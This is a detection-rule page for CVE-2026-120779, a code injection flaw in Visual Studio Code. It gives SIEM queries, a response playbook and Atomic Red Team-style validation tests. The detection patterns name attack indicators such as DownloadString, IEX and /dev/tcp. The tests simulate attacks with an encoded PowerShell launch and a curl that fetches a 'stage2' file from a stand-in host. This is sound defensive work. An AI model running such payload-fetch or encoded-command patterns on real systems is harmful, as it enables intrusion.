Detect CVE-2026-120779, Visual Studio Code Remote Code Injection (Network) in IBM QRadar
Detects potential exploitation of CVE-2026-120779, a critical code injection (CWE-94) vulnerability in Microsoft Visual Studio Code that allows an unauthorized, network-based attacker to execute arbitrary code. Exploitation typically involves VS Code loading attacker-controlled content (malicious workspace/.vscode settings, untrusted extensions, task/launch configurations, or remote/notebook payloads) that triggers code generation and execution. This detection surfaces VS Code (Code.exe / code / Electron) and its helper/extension-host processes spawning unexpected script interpreters, shells, or network tooling, and anomalous child-process chains consistent with workspace-trust abuse and code injection.
MITRE ATT&CK
- Tactic
- Initial Access Execution
QRadar Detection Query
-- df00tech DF00-f10876c2f2 · https://df00tech.com/detections/CVE-2026-120779 · licence: https://df00tech.com/detections/licence
SELECT QIDNAME(qid) AS event, "Process Name" AS process, "Parent Process Name" AS parent, "Process CommandLine" AS cmd, sourceip, username, DATEFORMAT(starttime,'yyyy-MM-dd HH:mm:ss') AS time FROM events WHERE LOWER("Parent Process Name") LIKE '%code.exe' AND (LOWER("Process Name") LIKE '%powershell.exe' OR LOWER("Process Name") LIKE '%pwsh.exe' OR LOWER("Process Name") LIKE '%cmd.exe' OR LOWER("Process Name") LIKE '%wscript.exe' OR LOWER("Process Name") LIKE '%mshta.exe' OR LOWER("Process Name") LIKE '%certutil.exe' OR LOWER("Process Name") LIKE '%node.exe') AND ("Process CommandLine" IMATCHES '.*(-enc|EncodedCommand|FromBase64String|DownloadString|Invoke-Expression|IEX|https?://|/dev/tcp|base64 -d).*') ORDER BY starttime DESC LAST 7 DAYS QRadar AQL query selecting VS Code child processes with code-injection command-line indicators.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate VS Code build tasks
- Developer terminal network tooling
- Language server subprocesses
Other platforms for CVE-2026-120779
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 VS Code task auto-executing PowerShell encoded command
Expected signal: Process creation event with ParentImage Code.exe and child powershell.exe using -EncodedCommand.
- Test 2 VS Code spawning node with inline download-and-execute
Expected signal: Process creation with parent code and child node executing inline script referencing a URL.
- Test 3 VS Code child shell curl to attacker host
Expected signal: Process creation with VS Code parentage spawning a shell running curl to an external URL.
Response Playbook
Triage
- Confirm the affected VS Code version on the host and compare against the fixed build referenced in MSRC advisory CVE-2026-120779; flag if still vulnerable.
- Examine the flagged child process command line and determine whether it was user-initiated (integrated terminal/build task) or spawned automatically on folder/workspace open or extension activation.
- Inspect the opened workspace for untrusted .vscode/ artifacts (tasks.json, launch.json, settings.json) and recently installed or sideloaded extensions that could carry the injected code.
- Check whether VS Code Workspace Trust was bypassed or the workspace was opened in trusted mode from an untrusted source (clone, download, shared folder, remote).
Containment
- Isolate the affected endpoint from the network to prevent attacker-controlled follow-on code execution and C2.
- Terminate the malicious child process tree and suspend the VS Code process; disable or uninstall any implicated extension.
- Update Visual Studio Code to the patched release per MSRC guidance and enforce Workspace Trust / disable auto-execution of workspace tasks via policy.
Evidence Collection
- Capture the full process-creation chain (Code.exe → child) with command lines, hashes, and timestamps from EDR/Sysmon.
- Preserve the workspace folder contents including .vscode/ configuration files, notebook files, and the list/versions of installed extensions (extensions.json, globalStorage).
- Collect VS Code logs (Help > Toggle Developer Tools console, and ~/.config/Code/logs or %APPDATA%\Code\logs) and any dropped payloads for malware analysis.
Escalation Criteria
- !Escalate to IR if the child process established outbound network connections, downloaded a secondary payload, or achieved persistence.
- !Escalate if a malicious or trojanized extension or attacker-controlled repository is confirmed as the delivery vector, indicating potential broader supply-chain exposure.
- !Escalate if the same injection pattern is observed across multiple developer endpoints.
Investigation Guide
Forensic Artifacts
- >
VS Code process-creation records (Code.exe / CodeHelper.exe parentage) in Sysmon/EDR - >
Workspace .vscode/ files (tasks.json, launch.json, settings.json) and extension manifests - >
VS Code logs and globalStorage under %APPDATA%\Code (Windows) or ~/.config/Code (Linux/macOS) - >
Shell/PowerShell history and dropped payload files on the endpoint
Tuning Guidance
Build an allowlist of expected VS Code child processes per development team (node, tsserver, python, git, language servers) and expected build-task command lines, then alert on deviations. Suppress known-good integrated-terminal activity by trusted developers, and tighten regex indicators to reduce noise from legitimate URLs in build scripts. Prioritize alerts where Workspace Trust was not established or the workspace originated from an untrusted/remote source.
Hunting Queries
Baseline the child processes VS Code spawns across the fleet to surface rare or anomalous interpreter/network-tool executions worth investigating.
// df00tech DF00-f10876c2f2 · https://df00tech.com/detections/CVE-2026-120779 · licence: https://df00tech.com/detections/licence
DeviceProcessEvents | where InitiatingProcessFileName in~ ("Code.exe","Code - Insiders.exe","CodeHelper.exe") | summarize count() by FileName, ProcessCommandLine, DeviceName | where FileName !in~ ("node.exe","tsserver.exe") | order by count_ desc ``` df00tech DF00-f10876c2f2 · https://df00tech.com/detections/CVE-2026-120779 · licence: https://df00tech.com/detections/licence ```
index=endpoint sourcetype="*Sysmon*" EventCode=1 (ParentImage="*Code.exe" OR ParentImage="*Code - Insiders.exe") | stats count by Image, CommandLine, host | sort - count Atomic Red Team Tests
Simulates a malicious workspace tasks.json that spawns PowerShell with an encoded command from VS Code, mimicking code-injection execution.
Command
& "$env:LOCALAPPDATA\Programs\Microsoft VS Code\Code.exe" --version; Start-Process -FilePath powershell.exe -ArgumentList '-NoProfile','-EncodedCommand','VwByAGkAdABlAC0ASABvAHMAdAAgACIAQQB0AG8AbQBpAGMAVABlAHMAdAAiAA==' Cleanup
Get-Process powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartTime -gt (Get-Date).AddMinutes(-5) } | Stop-Process -Force -ErrorAction SilentlyContinue Expected Telemetry
Process creation event with ParentImage Code.exe and child powershell.exe using -EncodedCommand.
Expected Detection
KQL/SPL/EQL rules flag VS Code spawning powershell.exe with an encoded command.
Simulates injected Node.js code launched by VS Code that fetches remote content, emulating network RCE behavior.
Command
code --version; node -e "console.log('ATOMIC fetch https://example.com/payload')" Cleanup
pkill -f 'ATOMIC fetch' 2>/dev/null || true Expected Telemetry
Process creation with parent code and child node executing inline script referencing a URL.
Expected Detection
Detection rules match VS Code parent spawning node with URL/download indicators.
Simulates a VS Code-spawned shell performing an outbound curl, emulating payload retrieval after code injection.
Command
/Applications/Visual\ Studio\ Code.app/Contents/Resources/app/bin/code --version; /bin/zsh -c 'curl -s https://example.com/stage2 -o /tmp/atomic_stage2' Cleanup
rm -f /tmp/atomic_stage2 Expected Telemetry
Process creation with VS Code parentage spawning a shell running curl to an external URL.
Expected Detection
Detection rules flag VS Code child process invoking curl with an https URL.